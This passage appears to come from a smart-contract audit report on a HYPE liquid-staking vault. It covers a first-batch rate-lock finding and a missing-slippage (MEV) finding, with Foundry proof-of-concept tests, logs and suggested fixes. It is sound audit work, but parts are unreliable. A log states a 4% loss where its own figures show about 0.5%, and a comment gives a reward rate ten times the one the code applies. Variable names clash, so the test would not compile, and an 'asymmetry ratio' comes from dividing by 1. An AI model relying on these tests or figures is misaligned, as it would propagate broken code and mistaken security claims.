95     console.log("OUTCOME [CRITICAL]");
96     console.log("- Victim deposited at rate %e", rateAfterRewards);
97     console.log("- Victim withdrew at locked rate 1.0");
98     console.log("- Not only zero yield, but negative return!");
99
100    // Assertions
101    assertLt(receivedHYPE, depositAmount, "Victim lost principal!");
102    assertEq(batch0.snapshotExchangeRate, 1e18, "Rate still locked
103              at 1.0");
104    assertGt(rateAfterRewards, 1e18, "Rate was higher when victim
105              deposited");
106
107    assertTrue(receivedHYPE < depositAmount, "CRITICAL: User lost
108              principal due to rate lock");
109
110 }

```

Logs:

```

1 DAY 0: Protocol Launches
2 - Initial exchange rate: 1e18
3 - Total balance: 6e23 HYPE
4
5 DAY 0: Attacker Creates Empty First Batch
6 - Batch #0 created with rate: 1e18 (LOCKED)
7 DAYS 1-5: Early Rewards Accumulate
8 - Days passed: 5
9 - Rewards accumulated: 0.5%
10 - New total balance: 6.03e23 HYPE
11 - Current exchange rate: 1.005e18
12

```

```

13  DAY 5: Victim Deposits (Unaware of Rate Lock)
14  - Deposit amount: 5,000 HYPE
15  - Exchange rate at deposit: 1.005e18
16  - vHYPE received: 4.975124378109452736318e21
17  - Cost basis: 5,000 HYPE
18
19  DAY 30: Victim Queues Withdrawal
20  Withdrawal Processed:
21  - Assigned to Batch #0
22  - Locked rate: 1e18 (still 1.0!)
23  - vHYPE withdrawn: 4.975124378109452736318e21
24  - HYPE received: 4.975124378109452736318e21
25
26  PRINCIPAL LOSS
27  - Original deposit: 5,000 HYPE
28  - HYPE received: 4.975124378109452736318e21
29  - NET LOSS: 2.4875621890547263682e19 HYPE
30  - Loss percentage: 4%
31
32  OUTCOME [CRITICAL]
33  - Victim deposited at rate 1.005e18
34  - Victim withdrew at locked rate 1.0
35  - Not only zero yield, but negative return!

```

Recommendation

1. Require minimum withdrawals with minimum time

```

1 // +++++ Add deployment timestamp +++++
2 uint256 public immutable deploymentTimestamp;
3
4 constructor() {
5     //+++++ assign block.timestamp to deploymentTimestamp +++
6     deploymentTimestamp = block.timestamp;
7     _disableInitializers();
8 }
9
10 function _fetchBatch() internal view returns (Batch memory) {
11     if (currentBatchIndex == batches.length) {
12         // ALWAYS enforce timing, even for first batch
13         if (lastFinalizedBatchTime != 0) {
14             require(
15                 block.timestamp > lastFinalizedBatchTime + 1 days,
16                 BatchNotReady()
17             );
18             // ... delegation lock check ...
19         } else {
20             // +++++ For first batch, wait minimum time to accumulate
21             // rewards +++++
22         }
23     }
24 }

```

```

1          // can adjust to any time
2          require(
3              block.timestamp >= deploymentTimestamp + 7 days,
4              FirstBatchNotReady(deploymentTimestamp + 7 days)
5          );
6      }
7
8      // +++++ Require at least one withdrawal in queue +++++
9      require(withdrawQueue.sizeOf() > 0, NoWithdrawalsInQueue());
10
11     uint256 snapshotExchangeRate = exchangeRate();
12
13     // ... rest of function
14 }
15 }
```

2. Access Control for the first batch processing

```

1 function processBatch(uint256 numWithdrawals)
2     public
3     whenNotPaused
4     whenBatchProcessingNotPaused
5 {
6     // +++++ During first batch period, require operator role +++++
7     if (lastFinalizedBatchTime == 0) {
8         require(
9             roleRegistry.hasRole(roleRegistry.OPERATOR_ROLE(), msg.
10                 sender),
11             OnlyOperatorCanCreateFirstBatch()
12         );
13     }
14     // ... rest of function
15 }
```

M-02: Lack of Slippage Protection Enables MEV Exploitation on All Deposits

Summary

The `StakingVaultManager.deposit()` function lacks **slippage** protection, allowing users' deposit transactions to execute at exchange rates significantly different from what they expected when submitting the transaction.

This vulnerability affects **all deposits** and enables MEV attacks where sophisticated actors can monitor the mempool and exploit pending deposits by front-running or back-running based on exchange rate movements.

The protocol forces users to accept **whatever exchange rate** exists at execution time, even if it has changed substantially since transaction submission, unlike standard DeFi protocols such as Uniswap, Curve, etc., that require users to specify minimum output amounts.

This creates **information asymmetry**, where mempool-monitoring bots have a significant advantage over regular users.

Finding Description

The root cause is the absence of a `minVHYPEOut` (or similar) parameter in the `deposit()` function that would allow users to specify the minimum acceptable amount of vHYPE tokens they're willing to receive for their HYPE deposit.

```

1 function deposit() external payable canDeposit whenNotPaused {
2     uint256 amountToDeposit = msg.value.stripUnsafePrecision();
3     uint256 amountToMint = HYPETovHYPE(amountToDeposit); // No
               minVHYPEOut parameter!
4     require(amountToMint > 0, ZeroAmount());
5     vHYPE.mint(msg.sender, amountToMint);
6     // ...
7 }
```

Key factors:

1. The exchange rate is calculated on the fly every time it's queried:

```

1 function exchangeRate() public view returns (uint256) {
2     return Math.mulDiv(totalBalance(), 1e18, vHYPE.totalSupply());
3 }
```

2. Rate changes between transaction submission and execution due to

- continuous accrual of staking rewards,
- slashing events can occur,
- other withdrawals and deposits affecting `totalSupply()` and `totalBalance`

3. No user control about

- the minimum vHYPE they are willing to accept
- the maximum acceptable slippage percentage
- transaction deadline or expiry

4. All pending transactions are visible to MEV bots, who can front-run/back-run accordingly for more profit.

Impact Explanation

1. Users receive less vHYPE than expected due to unexpected exchange rate
2. Because there are no reverts on higher slippage percentages, users are unaware of the silent exploitation.
3. Creates information asymmetry by giving users with MEV capabilities a greater advantage than others.
4. The annual losses can go high over time.

Likelihood Explanation

1. Not suitable for all users, as it requires mempool monitoring infrastructure (MEV bots).
2. Only uninformed users deposit at bad times
3. Still not difficult to execute, so it is exploitable

Proof of Concept

Paste the below test cases in StakingVaultManager.t.sol to simulate the issue:

1. Demonstrates users receive less vHYPE than expected due to rate changes during pending transaction

```

1  function test_SlippageExploit_RateIncreaseDuringPendingTx() public
2      withExcessStakeBalance {
3          address victim = makeAddr("victim");
4          address mevBot = makeAddr("mevBot");
5
6          hl.mockCoreUserExists(victim, true);
7          hl.mockCoreUserExists(mevBot, true);
8
9          uint256 victimDepositAmount = 100_000 * 1e18;
10         vm.deal(victim, victimDepositAmount);
11         vm.deal(mevBot, victimDepositAmount);
12
13         // STEP 1: VICTIM CALCULATES EXPECTED OUTPUT
14         console.log("STEP 1: Victim Prepares Deposit Transaction");
15
16         uint256 initialRate = stakingVaultManager.exchangeRate();
17         uint256 initialTotalBalance = stakingVaultManager.totalBalance
18             ();
19         uint256 initialSupply = vHYPE.totalSupply();
20
21         console.log("- Protocol State:");
22         console.log(" - Total Balance: %e HYPE", initialTotalBalance);

```

```

1      console.log(" - Total Supply: %e vHYPE", initialSupply);
2      console.log(" - Exchange Rate: %e", initialRate);
3
4      uint256 victimExpectedvHYPE = stakingVaultManager.HYPETovHYPE(
5          victimDepositAmount);
6      console.log("- Victim's deposit: 100,000 HYPE");
7      console.log("- Expected vHYPE: %e", victimExpectedvHYPE);
8
9      // STEP 2: TIME PASSES, STAKING REWARDS ACCRUE
10     console.log("STEP 2: Time Passes - Staking Rewards Accumulate")
11         ;
12     console.log("- Victim's tx is pending in mempool...");
13     console.log("- Network congestion: high gas prices");
14     console.log("- Meanwhile, staking rewards accrue on L1\n");
15
16     // Simulate 1 day of rewards (rewards accrue during the pending
17     // period)
18     warp(block.timestamp + 1 days);
19
20     // Mock 0.274% daily rewards (10% APY / 365 days)
21     L1ReadLibrary.DelegatorSummary memory currentSummary =
22         stakingVault.delegatorSummary();
23     uint64 rewardedDelegated = uint64((currentSummary.delegated *
24         10027) / 10000); // +0.274%
25
26     _mockDelegations(validator, rewardedDelegated);
27
28     uint256 newRate = stakingVaultManager.exchangeRate();
29     uint256 newTotalBalance = stakingVaultManager.totalBalance();
30     uint256 rateIncrease = ((newRate - initialRate) * 10000) /
31         initialRate;
32
33     console.log("REWARDS ACCRUED:");
34     console.log("- New Total Balance: %e HYPE", newTotalBalance);
35     console.log("- New Exchange Rate: %e", newRate);
36     console.log("- Rate increase: %s basis points (0.%s%%)\n",
37         rateIncrease, rateIncrease);
38
39     // STEP 3: MEV BOT MONITORS MEMPOOL
40     console.log("STEP 3: MEV Bot Monitors Mempool");
41     console.log("- Bot detects victim's pending deposit");
42     console.log("- Bot calculates:");
43     console.log(" - Current rate: %e (higher than victim expected"
44         ", newRate);
45     console.log(" - Victim will receive LESS vHYPE than expected")
46         ;
47     console.log("- Bot strategy: BACK-RUN (let victim execute at
48         worse rate)\n");
49
50     // STEP 4: VICTIM'S TRANSACTION EXECUTES
51     console.log("STEP 4: Victim's Transaction Finally Executes");

```

```

62
63     vm.prank(victim);
64     stakingVaultManager.deposit{value: victimDepositAmount}();
65
66     uint256 victimActualVHYPE = vHYPE.balanceOf(victim);
67     uint256 victimVHPELoss = victimExpectedVHYPE -
68         victimActualVHYPE;
69     uint256 victimLossPercentage = (victimVHPELoss * 10000) /
70         victimExpectedVHYPE;
71
72     console.log("- Deposited: 100,000 HYPE");
73     console.log("- Expected vHYPE: %e", victimExpectedVHYPE);
74     console.log("- Actual vHYPE: %e", victimActualVHYPE);
75     console.log("- LOSS: %e vHYPE", victimVHPELoss);
76     console.log("- Loss percentage: %s basis points (0.%s%%)",
77         victimLossPercentage, victimLossPercentage);
78     console.log("- NO REVERT - Transaction succeeds with silent
79         loss!\n");
80
81 // STEP 5: MEV BOT DEPOSITS WITH PERFECT INFORMATION =====
82 console.log("STEP 5: MEV Bot Deposits With Perfect Information"
83 );
84
85     uint256 botExpectedVHYPE = stakingVaultManager.HYPETovHYPE(
86         victimDepositAmount);
87
88     vm.prank(mevBot);
89     stakingVaultManager.deposit{value: victimDepositAmount}();
90
91     uint256 botActualVHYPE = vHYPE.balanceOf(mevBot);
92     uint256 botSlippage = botExpectedVHYPE > botActualVHYPE ?
93         botExpectedVHYPE - botActualVHYPE : 0;
94
95     console.log("- Bot calculates exact rate before submitting");
96     console.log("- Bot expected: %e vHYPE", botExpectedVHYPE);
97     console.log("- Bot received: %e vHYPE", botActualVHYPE);
98     console.log("- Bot's slippage: %e vHYPE (minimal!)",
99         botSlippage);
100    console.log("- Bot knows EXACTLY what they'll get\n");
101
102 // IMPACT ANALYSIS
103 console.log("== IMPACT ANALYSIS ==");
104 console.log("- Victim's loss: %e vHYPE", victimVHPELoss);
105 console.log("- Bot's slippage: %e vHYPE", botSlippage);
106 console.log(
107     "- Information asymmetry ratio: %sx worse for victim",
108     victimVHPELoss > 0 ? (victimVHPELoss / (botSlippage > 0 ?
109         botSlippage : 1)) : 0
110 );
111 console.log("\n- Victim: NO control, NO protection, silent loss
112     ");

```

```

103      console.log("- Bot: Perfect information, optimal timing");
104      console.log("- Result: Systematic value extraction from regular
105          users\n");
106      console.log("ROOT CAUSE");
107      console.log("- deposit() function has NO minVHYPEOut parameter"
108          );
109      console.log("- Users CANNOT specify minimum acceptable output")
110          ;
111      console.log("- Transaction NEVER reverts due to slippage");
112      console.log("- Compare to:");
113          > Uniswap: requires amountOutMin";
114          > Curve: requires min_dy";
115          > Balancer: requires minBPT";
116          > Ventuals: NO PROTECTION\n");
117
118      // Assertions
119      assertLt(victimActualVHYPE, victimExpectedVHYPE, "Victim should
120          receive less vHYPE than expected");
121      assertGt(victimVHYPELoss, 0, "Victim should suffer measurable
122          loss");
123      assertApproxEqAbs(botActualVHYPE, botExpectedVHYPE, 1e18, "Bot
124          should get ~expected amount");
125
126  };

```

Logs:

```

1 STEP 1: Victim Prepares Deposit Transaction
2   - Protocol State:
3     - Total Balance: 6e23 HYPE
4     - Total Supply: 6e23 vHYPE
5     - Exchange Rate: 1e18
6     - Victim's deposit: 100,000 HYPE
7     - Expected vHYPE: 1e23
8 STEP 2: Time Passes - Staking Rewards Accumulate
9   - Victim's tx is pending in mempool...
10  - Network congestion: high gas prices
11  - Meanwhile, staking rewards accrue on L1
12
13 REWARDS ACCRUED:
14   - New Total Balance: 6.0162e23 HYPE
15   - New Exchange Rate: 1.0027e18
16   - Rate increase: 27 basis points (0.27%)
17

```

```

18    STEP 3: MEV Bot Monitors Mempool
19    - Bot detects victim's pending deposit
20    - Bot calculates:
21        - Current rate: 1.0027e18 (higher than victim expected)
22        - Victim will receive LESS vHYPE than expected
23        - Bot strategy: BACK-RUN (let victim execute at worse rate)
24
25    STEP 4: Victim's Transaction Finally Executes
26    - Deposited: 100,000 HYPE
27    - Expected vHYPE: 1e23
28    - Actual vHYPE: 9.9730727037000099730727e22
29    - LOSS: 2.69272962999900269273e20 vHYPE
30    - Loss percentage: 26 basis points (0.26%)
31    - NO REVERT - Transaction succeeds with silent loss!
32
33    STEP 5: MEV Bot Deposits With Perfect Information
34    - Bot calculates exact rate before submitting
35    - Bot expected: 9.9730727037000099730727e22 vHYPE
36    - Bot received: 9.9730727037000099730727e22 vHYPE
37    - Bot's slippage: 0e0 vHYPE (minimal!)
38    - Bot knows EXACTLY what they'll get
39
40    === IMPACT ANALYSIS ===
41    - Victim's loss: 2.69272962999900269273e20 vHYPE
42    - Bot's slippage: 0e0 vHYPE
43    - Information asymmetry ratio: 269272962999900269273x worse for
        victim
44
45    - Victim: NO control, NO protection, silent loss
46    - Bot: Perfect information, optimal timing
47    - Result: Systematic value extraction from regular users
48
49    ROOT CAUSE
50    - deposit() function has NO minVHYPEOut parameter
51    - Users CANNOT specify minimum acceptable output
52    - Transaction NEVER reverts due to slippage
53    - Compare to:
54        > Uniswap: requires amountOutMin
55        > Curve: requires min_dy
56        > Balancer: requires minBPT
57        > Ventuals: NO PROTECTION

```

2. Demonstrates large-scale impact with multiple victims and aggregate losses

```

1  function test_SlippageExploit_AggregateImpact() public
2      withExcessStakeBalance {
3          // Create multiple victim addresses
4          address victim1 = makeAddr("victim1");
5          address victim2 = makeAddr("victim2");
6          address victim3 = makeAddr("victim3");

```

```

7      hl.mockCoreUserExists(victim1, true);
8      hl.mockCoreUserExists(victim2, true);
9      hl.mockCoreUserExists(victim3, true);
10
11     uint256 depositAmount = 50_000 * 1e18;
12     vm.deal(victim1, depositAmount);
13     vm.deal(victim2, depositAmount);
14     vm.deal(victim3, depositAmount);
15
16     console.log("SCENARIO: Multiple Users Depositing During High
17       Gas Period");
17     console.log("- 3 users each deposit 50,000 HYPE");
18     console.log("- All transactions pending for 6 hours");
19     console.log("- Staking rewards continue to accrue\n");
20
21     // INITIAL STATE
22     uint256 initialRate = stakingVaultManager.exchangeRate();
23     uint256 totalExpectedVHYPE = 0;
24
25     console.log("Initial State:");
26     console.log("- Exchange Rate: %e", initialRate);
27     console.log("- Each user expects: %e vHYPE\n",
28                 stakingVaultManager.HYPETovHYPE(depositAmount));
29
30     // Calculate expectations for all victims
31     uint256 victim1Expected = stakingVaultManager.HYPETovHYPE(
32         depositAmount);
33     uint256 victim2Expected = stakingVaultManager.HYPETovHYPE(
34         depositAmount);
35     uint256 victim3Expected = stakingVaultManager.HYPETovHYPE(
36         depositAmount);
37     totalExpectedVHYPE = victim1Expected + victim2Expected +
38         victim3Expected;
39
40     // SIMULATE 6 HOURS OF REWARDS
41     console.log("6 Hours Pass - Rewards Accumulate:");
42     warp(block.timestamp + 6 hours);
43
44     // Mock 6 hours of rewards (10% APY / 365 days / 4 = 0.00685%)
45     // 6 hours = 1/4 of a day, so we take the daily rate and divide
46     // by 4
47     L1ReadLibrary.DelegatorSummary memory currentSummary =
48         stakingVault.delegatorSummary();
49     // Cast to uint256 to avoid overflow, then back to uint64
50     uint64 rewardedDelegated = uint64((uint256(currentSummary.
51         delegated) * 100000685) / 100000000); // +0.000685%
52
53     _mockDelegations(validator, rewardedDelegated);
54
55     uint256 newRate = stakingVaultManager.exchangeRate();
56     console.log("- New Exchange Rate: %e", newRate);

```

```

49         console.log("- Rate increase: 0.00685%\n");
50
51     // ALL VICTIMS' TRANSACTIONS EXECUTE
52     console.log("All Transactions Execute at New Rate:");
53
54     vm.prank(victim1);
55     stakingVaultManager.deposit{value: depositAmount}();
56     uint256 victim1Actual = vHYPE.balanceOf(victim1);
57
58     vm.prank(victim2);
59     stakingVaultManager.deposit{value: depositAmount}();
60     uint256 victim2Actual = vHYPE.balanceOf(victim2);
61
62     vm.prank(victim3);
63     stakingVaultManager.deposit{value: depositAmount}();
64     uint256 victim3Actual = vHYPE.balanceOf(victim3);
65
66     uint256 totalActualVHYPE = victim1Actual + victim2Actual +
67         victim3Actual;
68
69     // CALCULATE AGGREGATE LOSSES
70     uint256 victim1Loss = victim1Expected - victim1Actual;
71     uint256 victim2Loss = victim2Expected - victim2Actual;
72     uint256 victim3Loss = victim3Expected - victim3Actual;
73     uint256 totalLoss = totalExpectedVHYPE - totalActualVHYPE;
74
75     console.log("Individual Losses:");
76     console.log("- Victim 1: %e vHYPE loss", victim1Loss);
77     console.log("- Victim 2: %e vHYPE loss", victim2Loss);
78     console.log("- Victim 3: %e vHYPE loss", victim3Loss);
79     console.log("\nAggregate Loss:");
80     console.log("- Total vHYPE lost: %e", totalLoss);
81     console.log("- Dollar value (@$5/HYPE): $%s", (totalLoss / 1e18
82         ) * 5);
83     console.log("- Dollar value (@$50/HYPE): $%s\n", (totalLoss / 1
84         e18) * 50);
85
86     // SCALE TO PROTOCOL LEVEL
87     console.log("== PROTOCOL-LEVEL IMPACT ==");
88     console.log("If this represents daily deposit volume:");
89     console.log("- Daily loss: %e vHYPE", totalLoss);
90     console.log("- Weekly loss: %e vHYPE", totalLoss * 7);
91     console.log("- Monthly loss: %e vHYPE", totalLoss * 30);
92     console.log("- Annual loss: %e vHYPE", totalLoss * 365);
93     console.log("- To MEV bots: (via information asymmetry)\n");
94
95     console.log("VULNERABILITY CHARACTERISTICS");
96     console.log("- Affects: ALL deposits (not just first)");
97     console.log("- Exploitable: By any mempool-monitoring bot");
98     console.log("- Silent: No revert, users don't know they lost
99         value");

```

```

96         console.log("- Systematic: Happens on every rate change");
97         console.log("- Unfair: Information asymmetry favors
98             sophisticated actors\n");
99
100        // Assertions
101        assertGt(totalLoss, 0, "Aggregate loss should be measurable");
102        assertLt(totalActualvHYPE, totalExpectedvHYPE, "All victims
103            receive less than expected");
104        // Each victim should have suffered a loss
105        assertGt(victim1Loss, 0, "Victim 1 should have loss");
106        assertGt(victim2Loss, 0, "Victim 2 should have loss");
107        assertGt(victim3Loss, 0, "Victim 3 should have loss");
108    }

```

Logs:

```

1 SCENARIO: Multiple Users Depositing During High Gas Period
2   - 3 users each deposit 50,000 HYPE
3   - All transactions pending for 6 hours
4   - Staking rewards continue to accrue
5
6 Initial State:
7   - Exchange Rate: 1e18
8   - Each user expects: 5e22 vHYPE
9
10 6 Hours Pass - Rewards Accumulate:
11   - New Exchange Rate: 1.00000685e18
12   - Rate increase: 0.00685%
13
14 All Transactions Execute at New Rate:
15 Individual Losses:
16   - Victim 1: 3.42497653891070847e17 vHYPE loss
17   - Victim 2: 3.42497653891070847e17 vHYPE loss
18   - Victim 3: 3.42497653891070847e17 vHYPE loss
19
20 Aggregate Loss:
21   - Total vHYPE lost: 1.027492961673212541e18
22   - Dollar value (@$5/HYPE): $5
23   - Dollar value (@$50/HYPE): $50
24
25 === PROTOCOL-LEVEL IMPACT ===
26 If this represents daily deposit volume:
27   - Daily loss: 1.027492961673212541e18 vHYPE
28   - Weekly loss: 7.192450731712487787e18 vHYPE
29   - Monthly loss: 3.082478885019637623e19 vHYPE
30   - Annual loss: 3.75034931010722577465e20 vHYPE
31   - To MEV bots: (via information asymmetry)
32
33 VULNERABILITY CHARACTERISTICS
34   - Affects: ALL deposits (not just first)

```

- ```

35 - Exploitable: By any mempool-monitoring bot
36 - Silent: No revert, users don't know they lost value
37 - Systematic: Happens on every rate change
38 - Unfair: Information asymmetry favors sophisticated actors

```

## Recommendation

### 1. Implement Slippage Protection

```

1 // Add new error
2 error SlippageTooHigh(uint256 amountOut, uint256 minAmountOut);
3
4 /// @noticeDeposit HYPE to receive vHYPE with slippage protection
5 /// @param minVHYPEOut Minimum amount of vHYPE to receive (reverts if
6 /// less)
7 /// @return vhypeAmount The actual amount of vHYPE minted
8 function deposit(uint256 minVHYPEOut) external payable canDeposit
 whenNotPaused returns (uint256 vhypeAmount) {
9 uint256 amountToDeposit = msg.value.stripUnsafePrecision();
10
11 // Calculate vHYPE to mint at current rate
12 uint256 amountToMint = HYPETovHYPE(amountToDeposit);
13 require(amountToMint > 0, ZeroAmount());
14
15 // Slippage protection: revert if output less than minimum
16 //+++++ add minvhype check +++++
17 require(amountToMint >= minVHYPEOut, SlippageTooHigh(amountToMint,
18 minVHYPEOut));
19
20 // Mint vHYPE
21 vHYPE.mint(msg.sender, amountToMint);
22
23 // Transfer HYPE to staking vault
24 if (amountToDeposit > 0) {
25 stakingVault.deposit{value: amountToDeposit}();
26 }
27
28 emit Deposit(msg.sender, amountToMint, amountToDeposit);
29
30 return amountToMint;
31
32 }
```